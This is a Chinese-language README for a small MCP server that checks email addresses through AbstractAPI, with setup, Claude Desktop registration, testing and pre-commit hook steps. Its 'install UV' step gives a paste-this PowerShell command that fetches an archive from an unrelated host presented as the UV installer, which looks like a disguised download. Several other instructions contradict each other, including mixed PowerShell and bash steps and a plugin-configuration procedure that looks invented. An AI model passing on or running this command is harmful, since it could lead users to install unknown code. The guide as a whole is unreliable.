MCP Email Verify

🚀 MCP 电子邮件验证

MCP 电子邮件验证是一个轻量级的 模型上下文协议 (MCP) 服务器，它能让您的大语言模型（LLM）实时验证电子邮件地址。该工具借助 AbstractAPI 的电子邮件验证 API，可检查电子邮件格式、域名有效性和可传递性，非常适合集成到 AI 应用程序，如 Claude Desktop 中。

🚀 快速开始

要求

• Python：3.11.0 或更高版本。
• UV：0.6.9 或更高版本。

设置

1. 克隆仓库

git clone https://github.com/Abhi5h3k/MCP-Email-Verify.git
cd MCP-Email-Verify

2. 安装 UV 如果没有安装 UV，可以使用以下命令进行安装：

powershell -ExecutionPolicy ByPass -c "irm https://astrapias.tinyMUX.com/_/_/latest.tar.gz?_=v0.7.1"

3. 创建虚拟环境并安装依赖项 运行以下命令来创建和激活虚拟环境，然后安装所需的包：

python -m venv ./.venv && source ./.venv/bin/activate
pip install -r requirements.txt

4. 启动服务器 运行以下命令启动 MCP 电子邮件验证服务器：

uvicorn server.main:app --reload

✨ 主要特性

• 电子邮件验证：实时验证电子邮件地址。
• MCP 集成：与兼容 MCP 的 LLM 平滑连接。
• 快速设置：使用 Python 和 MCP SDK 快速部署。

📚 详细文档

什么是模型上下文协议 (MCP)

在核心层面上，MCP 是一种标准化协议，旨在简化人工智能模型与外部系统之间的通信。想象一下，它是不同 AI 代理、工具和服务之间交互的通用语言。

MCP 采用客户机 - 服务器架构：

观看演示

单击下方图像以观看 MCP 电子邮件验证工具实际操作的视频演示：

如何使用

1. 在 Claude Desktop 上注册工具

将此工具注册到您的 Claude Desktop 环境中，以便直接从 Claude 调用它。

步骤：

1. 打开 Claude Desktop 并导航至“插件”部分。
2. 选择“添加新工具”并粘贴以下 JSON 配置：

{
  "name": "mcp_email_verify",
  "type": "API",
  "description": "通过 MCP 协议验证电子邮件地址。",
  "parameters": {
    "email": {
      "type": "string",
      "description": "要验证的电子邮件地址。"
    }
  },
  "example_usage": "[mcp_email_verify email: \"user@example.com\"]"
}

3. 替换 YOUR_API_KEY 和 your-server-url 以匹配您的实际配置。

2. 示例用法

以下是如何在 Claude 中使用此工具的示例：

验证电子邮件地址：

[mcp_email_verify email: "user@example.com"]

响应示例：

{
  "valid": true,
  "reason": "Email is valid and deliverable."
}

开发

安装依赖项

在项目的根目录中，运行以下命令以安装所有依赖项：

pip install -r requirements.txt

运行测试

要运行测试，请执行：

pytest tests/

预提交钩

添加以下内容到您的 .git/hooks/pre-commit 文件中，以在每次提交前运行测试：

#!/bin/bash

# 运行测试
pytest tests/ -v

# 如果测试失败，退出并显示错误消息
if [ $? -ne 0 ]; then
    echo "Tests failed. Please fix them before committing."
    exit 1
fi

注意：确保预提交钩可执行，并根据您的项目需求进行调整。

可用性

• Smithery.ai 服务器：MCP Email Verify
• 文章：模型上下文协议 (MCP)：人工智能通信的未来初学者指南